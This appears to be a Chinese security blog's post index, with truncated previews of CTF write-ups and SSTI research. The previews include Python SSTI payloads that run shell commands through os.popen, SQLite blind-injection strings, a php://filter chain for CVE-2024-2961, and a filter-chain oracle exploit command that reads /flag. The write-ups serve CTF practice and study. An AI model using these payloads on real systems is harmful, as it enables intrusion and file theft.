java_web开发
单元测试Spring项目目录结构介绍web源码目录
我们的web源码是再src目录的java方法下,的包里的。与Spring的启动项同级或子目录
123456789101112package org.lse;import org.springframework.web.bind.annotation.*;@RestController//标识我们的类是控制器类public class HelloController { @RequestMapping("/Hello")//标识请求的路径,其下面的方法为其视图函数 public String hello(String Name) { System.out.println(Name); return "hey "+Name; }}
注解@RestController和 @RequestMapping,Spring框架有很多注解,我们需要通过注解来将普通类与构造类区分,将普通方法与我们的请求方法区分等等
reso ...
本人对于bottle框架下中无大括号ssti的一些思考以及内存马的挖掘
SimpleTemplateSimpleTemplate是bollte框架下的一款模板渲染引擎其内置了相当多的函数,也有一些不同于jinja2的trick如下
include 文件读取
这个函数我们从介绍可以发现其是导入一个子模板,并将结果导入模板,虽然他的官方文档写的是123% include('header.tpl', title='Page Title')Page Content% include('footer.tpl')但是其并没用对导入的模板文件进行检测,所以当我们输入{{include(app.py)}}就可以进行任意文件读取,好像只有web目录
% 与<%Bollte的模板是SimpleTemplate 模板引擎,里面有一个挺有趣的操作就是<%%>与%,我们可以利用上面的来执行python代码。
这样我们再SSTI时就会有很多的操作。
像如下demo。1234567891011121314from bottle import template, ...
java(整理一下,方便复习)
143d5673a003b6feb710e92aa9ea18c2e9a45deb4ad7a8d5a96100e95eddb6d5122f8cc7e0361c51656a009ef4c3fa60017aec2c10facb3264ea350559ee7aee2419cf55b1f95094eaf93dedae4b79fb6f032d9dd024cf831016660b42afb36fa054f24e509534fbf1c5882118dd6e061c35dd076f4a2351f0464e3dcd97fa0965174eec642b3d3b6457eb1c361069afaf5e83d8502a8daaef5d3881419c3e74b7b50a0653f96be011fbbc9fec7e05a26363c90b9425cd8a173238f7c80f201107b1d0a78682178061248ed7fe5e3dfa2728bd92dddbeab72c7d3e67caa23951b0d926575a4fcf18d881feb8ed16478332237e9077a8bb933 ...
N1CTF junior 2025 Web(复现)
说实话很久没水博客了,感觉自己自从大二以来对CTF的热情就越来越低,各种事情压过来,什么协会,攻防,社工,明明才大二,领导安排的任务一个比一个离谱,没有报酬还占用一堆时间,当然这些可能也是是我自己心里逃避的借口而已,但不知道为什么就是累,好了不能再这么下去了😠,开始学习。还有感谢bao师傅提供的附件Gavatar
upload.php很明显当上传的文件为空时会进入url的判断,将url指向的文件写入到$avatarPath而远程文件读取利用的函数是file_get_contents,那么我们就可以进行任意文件的读取然后写入到$avatarPath,而再读取头像的avatar.php下我们可以发现无需知道$avatarPath就可以读取到头像,虽然user[id]是随机数但是无影响
但仅仅是文件读取的话我们是无法得到flag的,这里还需要使用到CVE-2024-2961这里我利用珂字辈师傅拆解出的脚本来跑payload
https://github.com/kezibei/php-filter-iconv
读取/proc/self/maps
1php://filter/conv ...
VNCTF2025wp(部分)
奶龙回家进入可以发现其为一个登陆框,经过尝试发现sql注入
经过产生无法使用union,空格,sleep,BENCHMARK。一使用if就发现其会报错,这时候就已经怀疑其为sqlite的数据库不存在if语句了。然后使用case when来进行sqli的注入,按sqlite的注入方式。使用randomblob来进行延迟
123-1'/**/or/**/(case/**/when(substr((select/**/sql/**/from/**/sqlite_master),1,1)>'1')/**/then/**/randomblob(400000000)/**/else/**/0/**/end)/*-1'/**/or/**/(case/**/when(substr((select/**/password/**/from/**/users),1,1)>'1')/**/then/**/randomblob(400000000)/**/else/**/0/**/end)/*
123456789101112131415 ...
hgame2025
webPacmanhttps://deobfuscate.io/反混淆
BandBomb上传文件改名为模板,实现覆盖
MysteryMessageBoard和网鼎青龙组的很像
双面人派对prodbucket
逆向在字符串李搜索可以发现存储桶的账号密码用的是minio的分布式存储桶,这里我使用其官方工具mc进行连接12mc.exe config host add minio_admin http://node1.hgame.vidar.club:30407
连接上后就可以看到hint里是一个源码。可以发现是一个使用overseer来自更新program函数的程序,而更新的Fetcher就是minio prodbucket的update程序。那么我们只要将program重写成危险函数再传到update就可以了就可以了
角落https://blog.wm-team.cn/index.php/archives/82/配置文件错误,源码读取
发现路径/app.conf发现apache配置有问题,可以进行源码读取
123456789101112131415161 ...
出题
143d5673a003b6feb710e92aa9ea18c2e9a45deb4ad7a8d5a96100e95eddb6d58f443b8e61547fabbb6d0e456f048a7a619bb5de79a589801b9e68e9caf3a5fa7ab9c0be03168a2cf0196736eb39cfb9924ce0f65c7b3cf27553040716c874fece6816ac123e7aff25b39b933c4d3cf56d08bc6d0a0c1eda1e87be0af8525875027683fdd514017fbac7b47e506094494cbaa333f3490c4ec2569aa055d9a81d43b257afc6c83c726b54320356695f53e9b60761f912ad4361a9e64be87327170bab30e6f1dc3eb57c3f1cb091b807954d740c12a1c4efe4e9072ef1efd915a4f3c1fed26bc3553cc8544997b5208813c4f5366b83c9fcf07 ...
西湖论剑
Rank-l登陆时可以发现其输入用户名和输入密码是在不同路径下的。
在经过尝试可以发现在登陆页面输入一次用户名,服务器会将其保存,后面输入密码时,如果错误会回显用户名因为是py所以尝试使用ssti
经过尝试可以发现,在用户名处存在ssti其过滤了一些特殊符号如/ * ;等。这里我使用equest.args.x1来进行绕过1phone_number={{g.pop.__globals__.__builtins__['__import__']('os').popen(request.args.x1).read()}}phone_number={{g.pop.__globals__.__builtins__['__import__']('os').popen(request.args.x1).read()}}
easydatalog下载查看日志可以发现其为使用蚁剑所记录的日志。一步步看下去可以发现用蚁剑传了一张jpg图片 ...
chuqiubei
easy_flask
登录框输入{{7*7}}发现是ssti,且变量可以从浏览器看出为user直接ssti即可。1?user={{cycler.__init__.__globals__.__builtins__['__import__']('os').popen('cat /app/flag').read()}}
file_copy
从报错可以看出其是使用copy函数来处理文件。我们可以使用php_filter_chains_oracle_exploit一把梭https://github.com/synacktiv/php_filter_chains_oracle_exploit
1python filters_chain_oracle_exploit.py --target http://eci-2zebps6z31jiqnksgy5t.cloudeci1.ichunqiu.com:80 --file /flag --paramet ...
培训
f51580de2b407268e91f2ffb343c94f122640b7b9c0287203fae2c0565cf19becd69f88c59abe3f3713d4df0a9c75163884d1460e582e997cb843fcaa6e1ece5645112fd27cef59b0422bd65b61c7f2f0ccb92af94c74b86875d8ef9610f734f52cec6787bef63b620a79f00848243efea8cb6a7abc9d6aa229520aa3d32108971725ed8c0e1b63439cdd49c170772f2178db526a22e5051c98f2e6f9c94c85829a9cb3aa677ac375cd7a2752823464f7f6c40520f41aa75fe3a4620117b9e2da8796e2bb1e71108512af19681bfc930de577ee5d10316c2c68354f2e81500690e6a03b6b1db824e3108b26009c300721ac9887723e66d268 ...














